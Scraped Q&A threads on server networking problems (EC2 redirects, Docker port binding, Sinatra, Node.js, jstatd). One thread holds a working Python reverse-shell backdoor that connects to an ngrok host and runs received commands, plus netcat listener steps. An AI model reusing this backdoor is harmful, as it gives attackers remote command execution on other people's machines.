I'm having problems redirecting HTTP-traffic into HTTPS in my EC2 instance on a Golang-service. The connection works fine when going straight to https://sub.domain.com, but the redirect from HTTP doesn't seem to be working.
There is no load balancer and it's using only the net/http package as the web server.
I'm also using iptables that should be redirecting HTTP/HTTPS requests to ports 8080/8081 respectively.
Just to narrow down the possibilities, the security group applied to the instance has connections to ports 80 and 443 allowed from any IPv4 or IPv6 address.
Here is the server-code that serves HTTPS and is supposed to redirect HTTP requests;
// LetsEncrypt setup
certManager := autocert.Manager{
Prompt: autocert.AcceptTOS,
HostPolicy: autocert.HostWhitelist("sub.domain.com"), // your domain here
Cache: autocert.DirCache("certs"), // folder for storing certificates
}
server := &http.Server{
Addr: ":8081",
Handler: context.ClearHandler(http.DefaultServeMux),
TLSConfig: &tls.Config{GetCertificate: certManager.GetCertificate},
}
// open https server
err = server.ListenAndServeTLS("", "")
if err != nil {
fmt.Printf("ListenAndServe: %s\n", err)
}
// redirect everything to https
go http.ListenAndServe(":8080", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
reqhost := strings.Split(r.Host, ":")[0]
http.Redirect(w, r, "https://" + reqhost + r.URL.Path, http.StatusMovedPermanently)
}))
Here are my PREROUTING rules from iptables, other chains are empty;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
7 420 REDIRECT tcp -- eth0 any anywhere anywhere tcp dpt:https redir ports 8081
45 2508 REDIRECT tcp -- eth0 any anywhere anywhere tcp dpt:http redir ports 8080
Both redirects are getting packets on requests, but the 8080 just wont redirect the connection to the HTTPS side.
You are missing port in the redirect
http.Redirect(w, r, "https://" + reqhost + r.URL.Path + ":" + port,
http.StatusMovedPermanently)
You need to add port in there.
Also you can use postman in the request to see what is the location URL that is sent.
Hope it helps.
I checked what was listening on my ports with
netstat -tulpn | grep LISTEN
..and there was apache listening on port 80. Either shutting it down or removing it works just fine.
Related
i create a reverse shell with python and i have a problem with my router in port forwarding.
I don't have any static ip.
In router:
Protocol: TCP
Lochealipaddr: 192.168.1.10
Localport: 8090
Wanipaddr: ---
Wanport: 8090
state: enable
in my python script i cant bind on my wan ip address
ST.bind((Wanipaddr, 8090))
if i binding on localipaddr my reverse shell client can't connect to the server
whats my problem solution??
thanks
if you want to use your backdoor to receive connections outside LAN use ngrok
example:
1- lets listen on port 4444:
nc -lp 4444
2- after ngrok is installed you will run this command:
ngrok tcp 444
3- now find the ngrok address
ngrok address
4- use your ngrok address to the client connect
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5- now you can connect with anyone outside your network
shell
It sounds like your router is configured to forward requests from the internet on port 8090 to your host (assuming you have the correct LAN IP). Perhaps just try binding to 0.0.0.0.
From wikipedia, it fits this context:
A way to specify "any IPv4 address at all". It is used in this way when configuring servers (i.e. when binding listening sockets).
In other words, you're telling your server to essentially listen on every available network interface (on that port).
I have an Ubuntu EC2 instance. Have current version of Docker installed.
Running a Jenkins container on the EC2 host.
The Docker run command I am using is:
docker run \
-d \
-p 9000:8080 \
-p 5000:5000 \
-v /var/run/docker.sock:/var/run/docker.sock \
jenkinsci/jenkins
The command completes successfully and my container has started.
If I SSH into the EC2 instance curl the container like:
curl http://localhost:9000
I get a response.
If I try the same via the EC2 instance public IP address:
curl http://55.55.55.55:9000
I don't get a response.
The EC2 instance security group has 9000 open to anywhere and I can confirm it's accepting connections on 9000 by doing:
telnet 55.55.55.55 9000
Which is able to connect.
So my guess is, it seems the instance is accepting connections on 9000 but these aren't being passed through to Docker.
In the Dockerfile I can see EXPOSE commands for Jenkins default ports 8080 and 5000. Could this be an issue when I'm binding 9000?
Any ideas or debugging is much appreciated, has me stumped currently!
Should also point out, binding the container to 8080 is not an option unfortunately.
UPDATE
Local curl response:
<html>
<head>
<meta http-equiv='refresh' content='1;url=/login?from=%2F'/>
<script>window.location.replace('/login?from=%2F');</script>
</head>
<body style='background-color:white; color:white;'>
Authentication required
</body></html>
docker ps output:
56c3ad9f1085
jenkinsci/jenkins
"/bin/tini -- /usr/lo"
About an hour ago
Up About an hour
0.0.0.0:5000->5000/tcp, 50000/tcp, 0.0.0.0:9000->8080/tcp
jenkins
iptables -L -n output
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
DOCKER-ISOLATION all -- 0.0.0.0/0 0.0.0.0/0
DOCKER all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain DOCKER (1 references)
target prot opt source destination
ACCEPT tcp -- 0.0.0.0/0 172.17.0.2 tcp dpt:8080
ACCEPT tcp -- 0.0.0.0/0 172.17.0.2 tcp dpt:5000
Chain DOCKER-ISOLATION (1 references)
target prot opt source destination
RETURN all -- 0.0.0.0/0 0.0.0.0/0
tcpdump available here: https://gist.github.com/timothyclifford/f9b51d5528dbe74f491bb7c35153c667
Sounds a bit weird .. particularly that telnet is able to connect but curl is not. (If it wasn't for that bit, then I might say it could be an iptables thing?) Normally, I'd reach for tcpdump .. presumably curl is able to establish a TCP connection (same as telnet) but I can't see why the HTTP layer would fail then. Install tcpdump on your ubuntu box, then run this as root:
tcpdump -nn port 9000
You could also try issuing an HTTP request using telnet and see if that works .... From your telnet connection, just type in something like
GET / HTTP/1.1
Host: 55.55.55.55:9000
then hit enter a couple of times. You should get an HTTP response back. You could try this against e.g. google to make sure you understand what should happen here:
# telnet www.google.com 80
Trying 216.58.212.132...
Connected to www.google.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.google.com
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: http://www.google.co.uk/?gfe_rd=cr&ei=rfP9V_P9M8_G8AeSsrWwBw
Content-Length: 261
Date: Wed, 12 Oct 2016 08:26:21 GMT
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
here.
</BODY></HTML>
Update: from your tcpdump output, it looks like it's the return path that could be the problem here. Flags [S.] is the SYN-ACK back from the handshake. Can you tcpdump on your local box to see if you get that packet? I don't think you'd need to open the outbound ports .. the firewall/security group should see this as the response flow, so I'm a little confused, but at least you can see the initial packet arrive. Thinking....
After much investigation, found the issue was related to internal network.
Very strange behaviour!
To anyone seeing similar issues, my suggestion would be to test as many variables as possible - different network / host / location.
I have just created an EC2 instance on a brand new AWS account, behind a security group, and loaded some software on it. I am running Sinatra on the machine on port 4567 (currently), and have opened that port in my security group to whole world. Further, I am able to ssh into the EC2 instance, but I cannot connect on port 4567. I am using the public IP to connect:
shakuras:~ tyler$ curl **.***.**.***:22
SSH-2.0-OpenSSH_6.2p2 Ubuntu-6ubuntu0.1
curl: (56) Recv failure: Connection reset by peer
shakuras:~ tyler$ curl **.***.**.***:4567
curl: (7) Failed connect to **.***.**.***:4567; Connection refused
But my webserver is running, since I can see the site when I curl from localhost:
ubuntu#ip-172-31-8-160:~$ curl localhost:4567
Hello world! Welcome
I thought it might be the firewall but I ran iptables and got:
ubuntu#ip-172-31-8-160:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
I'm pretty lost on what is going on here. Why can't I connect from the outside world?
Are you sure that the web server is listening on other interfaces than localhost?
Check the output of
netstat -an | grep 4567
If it isn't listening on 0.0.0.0 then that is the cause.
This sounds like issue with the Sinatra binding. Could check this and this and even this link which talks about binding Sinatra to all IP addresses.
You are listening on 127.0.0.1 based on your netstat command. This is what the output should be something like this:
tcp 0 0 :::8080 :::* LISTEN
Can you post your Sinatra configs? What are you using to start it ?
This doesnot work on a simple Amazon AMI , with installation as shown in http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-install.html
Step 1 , 2, 3 works (agent installation and starting demon ) as shown
[ec2-user#ip-<ip> ~]$ curl http://localhost:51678/v1/metadata
curl: (7) Failed to connect to localhost port 51678: Connection refused
infact netstat shows some listening tcp ports but one able to connect , definitely not 51678 tcp .
If you're using Amazon EC2 and make sure that you have security rule in Custom TCP for 0.0.0.0 in security groups, and still can't connect; try adding 0.0.0.0 to first line of the /etc/hosts by
sudo nvim /etc/hosts
add space to the last ip on the first line, and it should look like
127.0.0.1 localhost 0.0.0.0
I installed node.js on a hosted Apache server. The simple server I placed on the server runs fine, but when I go to the website I cannot see the website.
I initially tested this on my local machine and it works fine, but I need this on a production website. How can I do this.
My Node.js code
[code]
// Load the net module to create a tcp server.
var net = require('net');
// Setup a tcp server
var server = net.createServer(function (socket) {
// Every time someone connects, tell them hello and then close the connection.
socket.addListener("connect", function () {
sys.puts("Connection from " + socket.remoteAddress);
socket.end("Hello World\n");
});
});
// Fire up the server bound to port 7000 on localhost
server.listen(1337, "localhost");
[/code]
// Put a friendly message on the terminal
console.log("TCP server listening on port 1337 at localhost.");
Then I run node test.js
Response : TCP server listening on port 1337 at localhost.
Then I go to www.mywebsite.com:1337
Oops! Google Chrome could not connect to www.mywebsite.com:1337
So I tried using the actual IP
server.listen(1337, "xx.xx.xx.xx");
And the URL
server.listen(1337, "http://mywebsite.com");
// this actually broke the server immediatly
So how can I do this?
You will need a firewall rule to allow incoming traffic.
iptables -A INPUT -p tcp --dport 1337 -j ACCEPT
and do not bind to localhost, but on the port only:
server.listen(1337/*, "localhost"*/);
http://nodejs.org/api/net.html#net_server_listen_port_host_backlog_callback
EDIT: This comments out the host, so your server will listen on all adresses (this is the same as:)
server.listen(1337);
If you still encounter problems, this is most likely a firewall problem.
Having a little trouble connecting jstatd with visualvm. Below is a break down of my settings:
jstatd.policy
grant codebase "file:/usr/java/jre1.7.0/lib/tools.jar" {
permission java.security.AllPermission;
};
Called With
jstatd -p 9999 -J-Djava.security.policy=/usr/java/jre1.7.0/bin/jstatd.policy
Pulling Ports
tcp 0 0 0.0.0.0:43786 0.0.0.0:* LISTEN 22846/jstatd
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 22846/jstatd
And Ports Nice and Open
ACCEPT tcp -- anywhere anywhere tcp dpt:9999
ACCEPT tcp -- anywhere anywhere tcp dpt:43786
The application being run is sat on vmware, although application can be accessed with no issues.
If anyone has any ideas on connecting to visualvm it would be great.
Probably you need to start jstatd with host IP addr parameter, like this:
jstatd -p 9999 -J-Djava.security.policy=/usr/java/jre1.7.0/bin/jstatd.policy -J-Djava.rmi.server.hostname=192.168.0.123
192.168.0.123 - change this IP with your IP address of remote server
Check this link: http://hwellmann.blogspot.com/2012/01/troubleshooting-visualvm-remote.html